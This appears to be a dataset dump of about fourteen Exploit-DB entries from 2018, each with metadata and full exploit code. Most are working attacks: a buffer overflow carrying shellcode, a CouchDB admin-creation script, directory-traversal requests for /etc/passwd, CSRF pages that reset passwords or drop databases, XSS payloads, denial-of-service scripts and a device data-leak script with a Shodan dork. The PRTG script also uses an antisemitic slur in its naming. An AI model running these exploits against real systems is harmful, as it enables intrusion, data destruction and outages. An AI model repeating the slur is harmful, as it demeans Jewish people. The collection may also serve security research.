QLWD/code_shield huggingface dataset:
标题: PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) EDB-ID: 44500 CVE: 2018-10253 类型: DOS 平台: WINDOWS_X86 发布日期: 2018-04-23 漏洞利用脚本: # Exploit Title: PRTG 18.1.39.1648 - Stack Overflow
# Date: 2018-04-21
# Exploit Author: Lucas "luriel" Carmo
# Vendor Homepage: https://www.paessler.com/prtg
# Software Link: https://www.paessler.com/download/prtg-download
# Version: 18.1.39.1648
# CVE : CVE-2018-10253
# Post Reference: https://medium.com/stolabs/stack-overflow-jewish-napalm-on-prtg-network-monitoring-56609b0804c5
# http://www.roothc.com.br/stack-overflow-prtg-network-monitoring-jewish-napalm/

#!/usr/bin/python

import requests
import sys
import os
import re
import socket

green = "\033[1;32m"
yellow = '\033[1;33m'
normal = '\033[0;0m'
banner = """
     ██╗███████╗██╗    ██╗██╗███████╗██╗  ██╗    ███╗   ██╗ █████╗ ██████╗  █████╗ ██╗     ███╗   ███╗
     ██║██╔════╝██║    ██║██║██╔════╝██║  ██║    ████╗  ██║██╔══██╗██╔══██╗██╔══██╗██║     ████╗ ████║
     ██║█████╗  ██║ █╗ ██║██║███████╗███████║    ██╔██╗ ██║███████║██████╔╝███████║██║     ██╔████╔██║
██   ██║██╔══╝  ██║███╗██║██║╚════██║██╔══██║    ██║╚██╗██║██╔══██║██╔═══╝ ██╔══██║██║     ██║╚██╔╝██║
╚█████╔╝███████╗╚███╔███╔╝██║███████║██║  ██║    ██║ ╚████║██║  ██║██║     ██║  ██║███████╗██║ ╚═╝ ██║
 ╚════╝ ╚══════╝ ╚══╝╚══╝ ╚═╝╚══════╝╚═╝  ╚═╝    ╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝╚══════╝╚═╝     ╚═╝
"""


banner2 = """
                                            Author: @Lucas "luriel" Carmo
"""

os.system('clear')

print(green+banner)
print(yellow+banner2)
print(normal)

def check_http(url):
    pattern = re.compile("http://")
    return re.search(pattern, url)

def sanitize_url(url):
    if(not check_http(url)):
        return "http://" + url
    return url

def check_server(url):
    r = requests.get(url, timeout=4)
    code = r.status_code

def send_jewish_payload(url):
    payload = {'file':'addmap.htm'}
    r = requests.post(url, params=payload)

def main():
    try:
        if len(sys.argv) <= 3 and len (sys.argv) >= 2:
            try:
                url = sanitize_url(sys.argv[1])
                print(' [#] LOADING!')
                if (check_server(url) != 404):
                    send_jewish_payload(url)
                else:
                    print(' [!] Server shutdown or not found')
            except requests.exceptions.ConnectionError:
                print(' [~] BOOOOOM! PRTG Server has been exploded!')
            except requests.exceptions.InvalidURL:
                print(' [!] Invalid URL')
            except requests.exceptions.Timeout:
                print(' [!] Connection Timeout\n')
        else:
            print('Example usage: ./'+sys.argv[0]+' http://192.168.0.10/index.htm')
    except KeyboardInterrupt:
        print(' [!] Jewish Napalm Canceled;.....[./]')
if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/44500
标题: Cobub Razor 0.8.0 - Physical Path Leakage EDB-ID: 44495 CVE: 2018-8770 2018-8056 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-20 漏洞利用脚本: # Exploit Title:  Cobub Razor 0.8.0 Physical path Leakage Vulnerability
# Date: 2018-04-19
# Exploit Author: Kyhvedn
# Vendor Homepage: http://www.cobub.com/
# Software Link: https://github.com/cobub/razor
# Version: 0.8.0
# CVE : CVE-2018-8770

#PoC:

URL: http://localhost/export.php
HTTP Method: GET
URL: http://localhost/index.php?/manage/channel/addchannel
HTTP Method: POST
Data: channel_name=test"&platform=1

HTTP Method: GET
http://localhost/tests/generate.php
http://localhost/tests/controllers/getConfigTest.php
http://localhost/tests/controllers/getUpdateTest.php
http://localhost/tests/controllers/postclientdataTest.php
http://localhost/tests/controllers/posterrorTest.php
http://localhost/tests/controllers/posteventTest.php
http://localhost/tests/controllers/posttagTest.php
http://localhost/tests/controllers/postusinglogTest.php
http://localhost/tests/fixtures/Controller_fixt.php
http://localhost/tests/fixtures/Controller_fixt2.php
http://localhost/tests/fixtures/view_fixt2.php
http://localhost/tests/libs/ipTest.php
http://localhost/tests/models/commonDbfix.php URL: https://www.exploit-db.com/exploits/44495
标题: Ncomputing vSpace Pro 10/11 - Directory Traversal EDB-ID: 44497 CVE: 2018-10201 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-04-23 漏洞利用脚本: # Exploit Title: Ncomputing vSpace Pro v10 and v11 - Directory Traversal Vulnerability
# Date: 2018-04-20
# Software Vendor: NComputing
# Software Link: 
# Author: Javier Bernardo
# Contact: javier@kwell.net
# Website: http://www.kwell.net
# CVE: CVE-2018-10201
# Category: Webapps

#[Description]
#
#It is possible to read arbitrary files outside the root directory of
#the web server. This vulnerability could be exploited remotely by a
#crafted URL without credentials, with …/ or …\ or …./ or ….\ as a
#directory-traversal pattern to TCP port 8667.
#
#An attacker can make use of this vulnerability to step out of the root
#directory and access other parts of the file system. This might give
#the attacker the ability to view restricted files, which could provide
#the attacker with more information required to further compromise the system.

#[PoC]

nmap -p T:8667 -Pn your_vSpace_server

Nmap scan report for your_vSpace_server (x.x.x.x)
Host is up (0.044s latency).

PORT     STATE SERVICE
8667/tcp open  unknown

http://your_vSpace_server:8667/.../.../.../.../.../.../.../.../.../windows/win.ini

http://your_vSpace_server:8667/...\...\...\...\...\...\...\...\...\windows\win.ini

http://your_vSpace_server:8667/..../..../..../..../..../..../..../..../..../windows/win.ini

http://your_vSpace_server:8667/....\....\....\....\....\....\....\....\....\windows\win.ini URL: https://www.exploit-db.com/exploits/44497
标题: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure EDB-ID: 44501 CVE: 2018-9205 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-23 漏洞利用脚本: #Title: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure
#Author: Larry W. Cashdollar
#Date: 2018-03-30
#CVE-ID: CVE-2018-9205
#Download Site: https://www.drupal.org/project/avatar_uploader
#Vendor: https://www.drupal.org/u/robbinzhao
#Vendor Notified: 2018-04-02
#Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
#Advisory: http://www.vapidlabs.com/advisory.php?v=202

#Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
#Vulnerability:
#The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory:

<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");
exit;

Exploit Code:
http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/44501
标题: Monstra CMS 3.0.4 - Arbitrary Folder Deletion EDB-ID: 44512 CVE: 2018-9038 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-24 漏洞利用脚本: # Exploit Title: Monstra CMS 3.0.4 allows remote attackers to delete folder via an get request
# Date: 2018-03-26
# Exploit Author: Wenming Jiang
# Vendor Homepage: https://github.com/monstra-cms/monstra
# Software Link: https://github.com/monstra-cms/monstra
# Version: 3.0.4
# Tested on: macos 10.12.6, php 5.6, apache2.2.29
# CVE :CVE-2018-9038


Description:
Monstra CMS 3.0.4 allows remote attackers to delete folder via an admin/index.php?id=filesmanager&delete_dir=./&path=uploads/ request.


Steps to Reproduce:
1、Log in as a user with page editing permissions
2、Request http://your_site/admin/index.php?id=filesmanager&delete_dir=./&path=uploads
3、The uploads folder will be deleted.


Poc code:
GET /monstra/admin/index.php?id=filesmanager&delete_dir=./&path=uploads/&token=008708df48237172f6fe2d173dc30529eac132de HTTP/1.1
Host: localhost:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.10 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8000/monstra/admin/index.php?id=filesmanager&path=uploads/
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: SQLiteManager_currentLangue=2; PHPSESSID=882dd1e203c979cedba4524f8107eca3; _ga=GA1.1.1742657188.1524382699; _gid=GA1.1.918663288.1524382699
Connection: close



Vulnerability Type:
Insecure Permissions


Expected Behavior:
deleted uploads folder



Possible Solutions:
Strictly filter the delete_dir parameter and replace './' with '_/' URL: https://www.exploit-db.com/exploits/44512
标题: WUZHI CMS 4.1.0 - Cross-Site Request Forgery EDB-ID: 44504 CVE: 2018-10312 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-24 漏洞利用脚本: # Exploit Title: WUZHI CMS 4.1.0 - Cross-Site Request Forgery
# Date: 2018-04-23
# Exploit Author: jiguang (s1@jiguang.in)
# Vendor Homepage: https://github.com/wuzhicms/wuzhicms
# Software Link: https://github.com/wuzhicms/wuzhicms
# Version: 4.1.0
# CVE: CVE-2018-10312

An issue was discovered in WUZHI CMS 4.1.0 (https://github.com/wuzhicms/wuzhicms/issues/132)
There is a  csrf vulnerability that can modifying the member's password. via index.php?m=member&v=pw_reset
After the member logged in. open the exp page

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/www/index.php?m=member&v=pw_reset" method="POST">
      <input type="hidden" name="password" value="yuduo" />
      <input type="hidden" name="password2" value="yuduo" />
      <input type="hidden" name="submit" value="ç&#161;&#174;&#32;å&#174;&#154;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/44504
标题: phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery EDB-ID: 44496 CVE: 2018-10188 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-23 漏洞利用脚本: # Exploit Title: phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery
# Date: 2018-04-20
# Software Link: https://www.phpmyadmin.net/
# Author: @revengsh & @0x00FI
# CVE: CVE-2018-10188
# Category: Webapps


#1. Description
#The vulnerability exists due to failure in the "/sql.php" script to properly verify the source of HTTP request.
#This Cross-Site Request Forgery (CSRF) allows an attacker to execute arbitrary SQL statement by sending a malicious request to a logged in user.
#2. Proof of Concept: This example sends HTTP GET crafted request in order to drop the specified database.


<html>
  <body>
    <a href="http://[HOST]/phpmyadmin/sql.php?sql_query=DROP+DATABASE+[DBNAME]">
      Drop database
    </a>
  </body>
</html>

#3. Solution: Upgrade to phpMyAdmin 4.8.0-1 or newer.
#4. Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10188 URL: https://www.exploit-db.com/exploits/44496
标题: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation EDB-ID: 44498 CVE: 2017-12635 类型: WEBAPPS 平台: LINUX 发布日期: 2018-04-23 漏洞利用脚本: #!/usr/bin/env python

'''
@author:        r4wd3r
@license:       MIT License
@contact:       r4wd3r@gmail.com
'''

import argparse
import re
import sys
import requests

parser = argparse.ArgumentParser(
    description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
    ' (CVE-2017-12635)')
parser.add_argument('host', help='Host to attack.', type=str)
parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
parser.add_argument('-u', '--user', help='Username to create as admin.',
                    type=str, default='couchara')
parser.add_argument('-P', '--password', help='Password of the created user.',
                    type=str, default='couchapass')
args = parser.parse_args()

host = args.host
port = args.port
user = args.user
password = args.password

pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
if not pat_ip.match(host):
    print "[x] Wrong host. Must be a valid IP address."
    sys.exit(1)

print "[+] User to create: " + user
print "[+] Password: " + password
print "[+] Attacking host " + host + " on port " + port

url = 'http://' + host + ':' + port

try:
    rtest = requests.get(url, timeout=10)
except requests.exceptions.Timeout:
    print "[x] Server is taking too long to answer. Exiting."
    sys.exit(1)
except requests.ConnectionError:
    print "[x] Unable to connect to the remote host."
    sys.exit(1)

# Payload for creating user
cu_url_payload = url + "/_users/org.couchdb.user:" + user
cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}'

try:
    rcu = requests.put(cu_url_payload, data=cu_data_payload)
except requests.exceptions.HTTPError:
    print "[x] ERROR: Unable to create the user on remote host."
    sys.exit(1)

if rcu.status_code == 201:
    print "[+] User " + user + " with password " + password + " successfully created."
    sys.exit(0)
else:
    print "[x] ERROR " + str(rcu.status_code) + ": Unable to create the user on remote host." URL: https://www.exploit-db.com/exploits/44498
标题: Lutron Quantum 2.0 - 3.2.243 - Information Disclosure EDB-ID: 44488 CVE: 2018-8880 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-04-18 漏洞利用脚本: '''

# Exploit Title: Login bypass and data leak - Lutron Quantum 2.0 - 3.2.243 firmware
# Date: 20-03-2018
# Exploit Author: David Castro
# Contact: https://twitter.com/SadFud75
# Vendor Homepage: http://www.lutron.com
# Software Link: http://www.lutron.com/en-US/Products/Pages/WholeBuildingSystems/Quantum/Overview.aspx
# Version: Lutron Quantum 2.0 - 3.2.243 firmware
# CVE : CVE-2018-8880
# Shodan dork: html:"<h1>LUTRON</h1>"

Python 2.7 Output:

Leaking data from HOST
[+] Device info:

MAC: 000FE702A999
PRODUCT FAMILY: Gulliver
PRODUCT TYPE: Processor
SERIAL NUMBER: 007B24B4
GUID: 0DFB959BD0D8784DA9501B958F099779
CODE VERSION: 7.5.0

[+] Network info:

INTERNAL IP: 192.168.0.2
SUBNET MASK: 255.255.255.0
GATEWAY: 192.168.0.1
TELNET PORT: 23
FTP PORT: 21
REMOTE PORT: 51023

[+] Done.

'''


import requests
from bs4 import BeautifulSoup

ip = raw_input("Enter target ip: ")
port = raw_input("Enter target port: ")

print 'Leaking data from ' + 'http://' + ip + ":" + port
r = requests.get('http://' + ip + ":" + port + '/deviceIP')
resultado = r.text
parseado = BeautifulSoup(resultado, "lxml")

print '[+] Device info:'
print ''
print 'MAC: ' + parseado.find('input', {'name': 'MacAddr'}).get('value')
print 'PRODUCT FAMILY: ' + parseado.find('input', {'name': 'PRODFAM'}).get('value')
print 'PRODUCT TYPE: ' + parseado.find('input', {'name': 'PRODTYPE'}).get('value')
print 'SERIAL NUMBER: ' + parseado.find('input', {'name': 'SERNUM'}).get('value')
print 'GUID: ' + parseado.find('input', {'name': 'GUID'}).get('value')
print 'CODE VERSION: ' + parseado.find('input', {'name': 'CODEVER'}).get('value')
print ''
print '[+] Network info:'
print ''
print 'INTERNAL IP: ' + parseado.find('input', {'name': 'IPADDR'}).get('value')
print 'SUBNET MASK: ' + parseado.find('input', {'name': 'SUBNETMK'}).get('value')
print 'GATEWAY: ' + parseado.find('input', {'name': 'GATEADDR'}).get('value')
print 'TELNET PORT: ' + parseado.find('input', {'name': 'TELPORT'}).get('value')
print 'FTP PORT: ' + parseado.find('input', {'name': 'FTPPORT'}).get('value')
print 'REMOTE PORT: ' + parseado.find('input', {'name': 'REMOTEPORT'}).get('value')
print ''
print '[+] Done.'
print '' URL: https://www.exploit-db.com/exploits/44488
标题: Kodi 17.6 - Persistent Cross-Site Scripting EDB-ID: 44487 CVE: 2018-8831 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2018-04-18 漏洞利用脚本: =============================================
MGC ALERT 2018-003
- Original release date: March 19, 2018
- Last revised:  April 16, 2018
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,8/10 (CVSS Base Score)
- CVE-ID: CVE-2018-8831
=============================================

I. VULNERABILITY
-------------------------
Kodi <= 17.6 - Persistent Cross-Site Scripting

II. BACKGROUND
-------------------------
Kodi (formerly XBMC) is a free and open-source media player software
application developed by the XBMC Foundation, a non-profit technology
consortium. Kodi is available for multiple operating systems and hardware
platforms, with a software 10-foot user interface for use with televisions
and remote controls.

III. DESCRIPTION
-------------------------
Has been detected a Persistent XSS vulnerability in the web interface of
Kodi, that allows the execution of arbitrary HTML/script code to be
executed in the context of the victim user's browser.

IV. PROOF OF CONCEPT
-------------------------
Go to: Playlist -> Create

Create a playlist injecting javascript code:

<img src=x onerror=alert(1)>

The XSS is executed, in the victim browser.

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted user's
browser, this can leverage to steal sensitive information as user
credentials, personal data, etc.

VI. SYSTEMS AFFECTED
-------------------------
Kodi <= 17.6

VII. SOLUTION
-------------------------
Vendor include the fix:
https://trac.kodi.tv/ticket/17814

VIII. REFERENCES
-------------------------
https://kodi.tv/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
March 19, 2018 1: Initial release
April 16, 2018 2: Last revision

XI. DISCLOSURE TIMELINE
-------------------------
March 19, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
March 19, 2018 2: Send to vendor
March 30, 2018 3: Vendo fix
April 16, 2018 4: Sent to lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester URL: https://www.exploit-db.com/exploits/44487
标题: Match Clone Script 1.0.4 - Cross-Site Scripting EDB-ID: 44486 CVE: 2018-9857 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-18 漏洞利用脚本: ########################################################################
# Exploit Title: Match Clone Script 1.0.4 - Cross-Site Scripting
# Date: 23.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/match-clone/
# Category: Web Application
# Exploit Author: ManhNho
# Version: 1.0.4
# Tested on: Window 10 / Kali Linux
# CVE: CVE-2018-9857
##########################################################################
Description
------------------------
PHP Scripts Mall Match Clone Script 1.0.4 has XSS via the search field to
searchbyid.php (aka the "View Search By Id" screen).

Proof of Concept
------------------------
1. Access to site
2. Choose “Search”
3. Choose "View Search By Id"
3. Put <script>alert('ManhNho')</script> in search field
4. You will be having a popup: ManhNho

References:
------------------------
https://pastebin.com/Y9uEC4nu
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9857 URL: https://www.exploit-db.com/exploits/44486
标题: Ultra MiniHTTPd 1.2 - 'GET' Remote Stack Buffer Overflow (PoC) EDB-ID: 44472 CVE: 2013-5019 类型: LOCAL 平台: WINDOWS_X86 发布日期: 2018-04-17 漏洞利用脚本: # Exploit Title: Ultra MiniHTTPd 1.2 - 'GET' Remote Stack Buffer Overflow
# Date: 2018-04-14
# Exploit Author: jollymongrel
# Vendor Homepage: http://www.vector.co.jp
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Version: 1.2
# Tested on: Windows 7 32-bit
# CVE : CVE-2013-5019

import sys
import socket
import struct

eip = struct.pack('I', 0x764046cd) #call esp [msvcrt.dll]

#windows/exec - 274 bytes
#http://www.metasploit.com
#Encoder: x86/shikata_ga_nai
#EXITFUNC=thread
#CMD=calc.exe
#badchars='\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
shellcode = ("no0bno0b"+"\xb8\x21\xa0\xa2\xbd\xdb\xd1\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x3e\x31\x43\x15\x83\xc3\x04\x03\x43\x11\xe2\xd4\x1a\x51\xd8"
"\x25\xbd\x4c\xf4\x90\x35\x55\x0f\x79\x9f\x5c\x5e\x45\x5c\xb5"
"\x5d\x84\x31\x44\x9d\x46\xde\x89\xb2\x1a\x92\xe6\x1d\x26\x1d"
"\xa1\xb0\xfa\x6c\x5a\x1e\xf7\xb7\xb6\xfb\x71\xbf\x2a\x51\xb6"
"\x2a\x53\x27\x2a\x43\x49\x67\xe7\x66\x6a\x6e\xe3\x10\x46\x27"
"\xe5\x1f\xc5\xb5\xad\x32\x57\x38\xd3\x66\xa8\xa7\xf8\xe0\xfc"
"\x1a\x33\xce\x22\xf0\xad\x34\xff\x3a\x42\x91\x07\x6d\xe5\xf1"
"\x79\x73\xa3\xe9\xbf\xd7\xbf\xa7\x10\x06\xf2\x2c\x81\x6a\xa0"
"\x97\x46\xae\xe7\x33\x1c\x87\x02\x5d\x8d\xd7\x5a\xbe\x7c\xa9"
"\x96\x7f\x04\xbd\xe4\xb5\xbc\xa0\xf5\xf3\x12\x66\x6c\xbc\xb7"
"\xb2\x49\x01\x66\xd3\x8f\x40\x5b\x33\x07\x22\x30\x0e\x11\xc6"
"\x89\xfa\xbc\x18\x0f\x33\x18\xb1\x01\xe0\x53\x4a\x23\xab\x77"
"\x17\x7f\xf8\x4f\xdd\x01\x79\x04\xa6\x82\xe0\xc4\x33\x06\x12"
"\x36\x43\x2d\xc6\x8a\xfb\x24\x67\x4a\xc6\x5a\x4a\x4c\x97\x4c"
"\x1b\x68\x98\xf8\x45\x2d\x86\x43\xbe\x0e\x96\x8f\xca\x89\x7e"
"\x5b\xe1\x8b\xb2\x5f\xd0\x94\xdf\x5e\x7c\x0e\x25\xa5\xf7\xea"
"\x9d\x1b\xa9\x58\x50\x3a\xb8\x77\x16\xb1\x87\x48\x94\x37\x87"
"\x9a\x9d\xe2\xd0")

#egg hunter to search for no0bno0b
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x6e\x6f\x30\x62\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

payload = "A" * 537
payload += shellcode
payload += "A" * (967 - len(payload))
payload += eip
payload += egghunter
payload += "\xff\xe7" #jmp edi
payload += "C" * (1007 - len(payload))

print "[+] sending payload, length", len(payload)

buf = "GET /"+payload+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.32.175", 80))
s.send(buf)
data = s.recv(1024)
s.close() URL: https://www.exploit-db.com/exploits/44472
标题: Joomla! Component jDownloads 3.2.58 - Cross Site Scripting EDB-ID: 44471 CVE: 2018-10068 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-17 漏洞利用脚本: #######################################
# Exploit Title: Joomla! Component jDownloads 3.2.58 - Cross Site Scripting
# Google Dork: N/A
# Date: 14-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.jdownloads.com/
# Software Link: http://www.jdownloads.com/index.php/downloads/category/6-jdownloads.html
# Affected Version: 3.2.58
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-10068
#
# 1. Vendor Description:
#
# Exclusive Download manager for Joomla!
#
# 2. Technical Description:
#
# Cross-site scripting (XSS) vulnerability in plupoad flash component in jDownloads before 3.2.59 allows remote attackers to inject arbitrary web script.
#
# 3. Proof Of Concept:
#
http://url/joomla/administrator/components/com_jdownloads/assets/plupload/js/Moxie.swf?target%g=alert&uid%g=nice
#
# 4. Solution:
#
# Upgrade to latest release.
# https://extensions.joomla.org/extension/jdownloads/
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10068
# https://vel.joomla.org/resolved/2150-jdownloads-3-2-58-xss-cross-site-scripting
##################################### URL: https://www.exploit-db.com/exploits/44471
标题: Brave Browser < 0.13.0 - 'window.close(self)' Denial of Service EDB-ID: 44475 CVE: 2016-10718 类型: DOS 平台: WINDOWS 发布日期: 2018-04-17 漏洞利用脚本: # Exploit Title:Brave Browser < 0.13.0 Denial of Service (resource consumption) via a window.close(self) js code.
# Date: 2017-10-16
# Exploit Author: Sahil Tikoo
# Vendor Homepage: https://brave.com
# Software Link: https://github.com/brave/browser-laptop
# Version: 0.12.5
# Tested on: Kali Linux,Ubuntu ,Windows OS
# CVE : CVE-2016-10718

<html>
<title>Brave Window Object Remote Denial of Service.</title>
<head></head>

<body><br><br>
<h1><center>Brave Window Object Remote Denial of Service</center></h1><br><br>
<h2><center>Proof of Concept</center></br></br> </h2>

<center>
<b>Click the below link to Trigger the Vulnerability..</b><br><br>
<hr></hr>

<hr></hr>
<b><center><a href="javascript:window.close(self);">Brave Window Object DoS Test POC</a></center>

</center>
</body>

</html> URL: https://www.exploit-db.com/exploits/44475